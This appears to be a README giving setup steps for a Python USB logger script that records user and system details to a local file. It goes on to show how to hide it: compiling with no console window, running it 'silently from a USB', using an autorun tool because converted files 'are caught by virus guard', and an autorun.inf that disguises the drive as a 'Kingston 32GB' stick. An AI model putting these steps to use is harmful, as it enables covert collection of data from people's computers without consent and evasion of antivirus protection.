🚀 How to Use

1. Install Python & Required Modules

Make sure Python 3.x is installed. Then install required modules:

pip install wmi

The script uses built-in modules: getpass, platform, and datetime, and one external module: wmi.

---

2. Run the Script

Run using:

python usb_logger_real.py

A file named device_log.txt will be created (or updated) in the same directory.

---

3. Optional: Convert to .exe

You can convert this script to an executable (no console window):

pyinstaller --onefile --noconsole usb_logger_real.py

If you want it to run silently from a USB, you can use Samlogic USB Autorun Creator

• since bat to exe converted files are caught by virus guard this is the best method

---

4. (Optional) Add autorun.inf for Legacy Windows

Note: Autorun from USB is blocked on most modern Windows versions (since Windows 7). You can use USB AUTO RUN CREATEOR : https://usb-autorun-creator.en.softonic.com/

Example autorun.inf:

[autorun]
label=Kingston 32GB
icon=pen.ico
open=usb_logger.exe
